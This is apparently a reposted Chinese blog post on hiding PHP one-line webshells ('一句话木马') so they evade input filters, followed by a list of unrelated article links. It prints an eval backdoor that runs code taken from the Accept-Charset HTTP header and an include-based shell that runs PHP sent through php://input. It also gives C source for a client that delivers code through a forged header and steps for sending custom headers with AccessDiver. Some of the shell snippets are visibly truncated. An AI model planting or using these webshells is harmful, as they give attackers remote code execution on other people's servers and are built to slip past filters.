博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一种关于一句话木马的更新思想
阅读量:2430 次
发布时间:2019-05-10

本文共 4100 字,大约阅读时间需要 13 分钟。

一种关于一句话木马的更新思想

from:

这篇文章大概是涉及到了web,注入,一句话木马,很多人觉得做脚本小子,黑别人网站有点低级和为之不齿

.更多名门正派老字号的黑客都不削于这种技术....哈哈

其实我个人也这么认为,可是俺是年轻人,思想比较浮躁和喜欢新鲜,加之俺又活在这个新生事物频发的年

代,多少也要接触这些好的差的..好在对此研究也仅限于了解的目标.并不到为之痴狂的地步...

哎呀,废话说的太多了,opera的blog没有摘要功能,所以没偏杂文还是尽量简短一点好....

什么是一句话木马我就不说了哈....

传统的一句话木马如果碰到这台机器刚刚好升级,或者因为发现被入侵,装了一套过滤系统,这台机器上的

一句话木马基本上成了残废,因为这个时候入侵者的代码数据无法上传到一句话木马,无法运行,也就没了

这个功能了.

不过我不知道大家为什么这么久都没发现有一个地方,其实一直存在着漏洞,如果用在一句话木马上,一句

话木马的前途将会非常光明.任何的过滤系统都不能够阻挡你的执行数据的目的,就算他的

get,post,cookie,xml,rss全部严格过滤也无济于事.甚至,这个方法将很难有有效的防治办法.下面介绍

这个办法.其实很简单.

说起发现这个方法,起码有个两年的时间了,有的时候要想要发出来又因为当时没有时间而过后又忘记了.

先看第一段代码:

<?

//$_SERVER里面可以是以下几个:
//HTTP_ACCEPT
//HTTP_ACCEPT_CHARSET
//HTTP_ACCEPT_ENCODING
//HTTP_ACCEPT_LANGUAGE
//HTTP_CONNECTION
//HTTP_HOST
//HTTP_REFERER
//HTTP_USER_AGENT
?>

<?eval($_SERVER["HTTP_ACCEPT_CHARSET"]);?>

放出这个,肯定很多人就明白了.就是利用http头的一些信息附带你的数据上去,作为一句话木马执行的参

数.

不过明白的这些人肯定会有以下几个问题:
1.为什么说很难被防止.
因为http头信息有丰富的非法字符,比如代码中常用的*,逗号,句号,单引号,双银号,小括号等等等等其他

的字符,如果把防注入程序用于http头,那恐怕几乎所有的正常数据都将被防止了.所以不可能对http进行

过滤,需要非常复杂的的手法才能,相信没有人会去开发这种软件.

2.http头部够长吗,通常要执行的代码将会很长.
我测试过,iis和apache对于http头的数据确实有长度限制,这个限制大概是10,000-15,000个字符,也就是

15KB,如此长的容量,我想传个简单的语句上去已经绰绰有余了吧,况且,当真碰到只有100多个字符限制的

服务器,也可以先增量写入到session,然后从session中取出执行即可.

3.如何利用?

其实写个简单的代码是最好的了,本文附件中有带一个c源代码(gethttp.c)是简单的自定义http头信息,

你可以用它来上传你的数据.

其次还可以借助一个工具:accessdiver.

该工具的下载地址:

运行之后按f4按键,点击到extras tool页面,点击该页面下的http debugger子页面,在该页面的http

address输入你的一句话木马页面,选择mode的get,点击mode上面一点的header data,会出现一个输入框,

这个就是给你自定义http头的地方,其他地方我就不用说了,大家看看就会明白,这个工具很好用哦.

好了,上面说的那些是第一只马,现在再来第二只马.

代码:

<");?>

相信大多数人都用过这样的马,不过这样的马有缺点,要是 allow_url_fopen 选项的支持.

其实利用inlcude做马的好处非常明显,没有了eval这些关键字,通过扫描的方式一般找不出来.
于是就有了下面这种include马:

<"]);?>

很普通哦.....然后用accessdiver(前面有下载地址).httpdebugger中选择post模式,post数据为:

zv1984=php://input&<?phpinfo();?>
然后看看效果.很棒吧.&号后面可以是任意的php代码.

好像很多了,就这样吧,可能我说的还是很简单,简单最好了不是么.

(附件地址)http://my.opera.com/zvrop/homes/blog/gethttp.c
 

 

//一句话木马上传代码

//注意,本篇代码只是做示范,需要自行修改,方能使用
//作者:zvrop()
//http://my.opera.com/zvrop

#include <winsock2.h>

#include <windows.h>
#include <stdio.h>

char *HMod[] =  { "GET","POST"};

char *HttpVer[] = { "HTTP/1.0", "HTTP/1.1"};
char *HAccept[] = { "Accept:"," image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*"};
char *HAcceptLg[] = { "Accept-Language:"," zh-cn"};
char *HContentTp[]= { "Content-Type:"," application/x-www-form-urlencoded"};
char *HAcceptEn[] = { "Accept-Encoding:"," gzip, deflate"};
char *HUserAgent[]= { "User-Agent:"," Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)"};
char *HReferer[]= { "REFERER:"," "};
char *HHost[]=  { "Host:"," 127.0.0.1"};
char *HContentLg[]= { "Content-Length:"};
char *HContion[]= { "Connection:"," Keep-Alive"};
char *HAcceptCt[]= { "Accept-Charset:","iso-8859-1,*,utf-8"};
char *HCacheCtr[]= { "Cache-Control:"," no-cache"};

char temp1[1024],temp2[10240];

 
int ren = 0;
int main(int argc,char *argv[]){

 WSADATA  WSAData={0};

 struct sockaddr_in  ServerAddr={0};
 SOCKET ServerSocket=0;
 
 if(WSAStartup(MAKEWORD(2,2), &WSAData))
                return 1;

 ServerSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 

    ServerAddr.sin_family = AF_INET;
 ServerAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    ServerAddr.sin_port = htons(80);

 memset(temp1,0,1024);

 memset(temp2,0,10240);
 sprintf(temp1, "%s %s %s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "%s%s/r/n"
     "/r/n"
     ,
     HMod[0],"/one/one.php",HttpVer[1],
     HAccept[0],HAccept[1],
     HAcceptLg[0],HAcceptLg[1],
     HContentTp[0],HContentTp[1],
     HAcceptEn[0],HAcceptEn[1],
     HUserAgent[0],HUserAgent[1],
     HReferer[0],HReferer[1],
     HHost[0],HHost[1],
     HContentLg[0]," 0",
     HContion[0],HContion[1],
     HCacheCtr[0],HCacheCtr[1],
     HAcceptCt[0],"phpinfo();"//HAcceptCt[1]
     );
     //以上的几个部分可以用自己的代码代替进去,也可以用逗号后面的那个已定义的字符串带入(若是用这个,这个时候就是正常的数据).
 
 connect(ServerSocket,(SOCKADDR *)&ServerAddr,sizeof(ServerAddr));

 send(ServerSocket,temp1,strlen(temp1),0);

 while((ren = recv(ServerSocket,temp2+strlen(temp2),10240-strlen(temp2),0))<=0){;}
 printf("%s",temp2);  

 printf("/r/nPress any key to exit....");

 getchar();

 return 0;
}

转载地址:http://qcpmb.baihongyu.com/

你可能感兴趣的文章
选择排序
查看>>
归并排序
查看>>
快速排序
查看>>
堆排序
查看>>
mongodb命令大全
查看>>
Mongodb分片实践
查看>>
Mongodb主从架构
查看>>
Mongodb副本集
查看>>
Mongodb高可用架构
查看>>
保护眼睛
查看>>
idea的一些常用设置设置
查看>>
jvm远程调试
查看>>
新机器配置
查看>>
好的编程原则
查看>>
服务器部署
查看>>
Apache日常配置
查看>>
MapReduce
查看>>
常用js
查看>>
类的生命周期
查看>>
Joda-Time学习
查看>>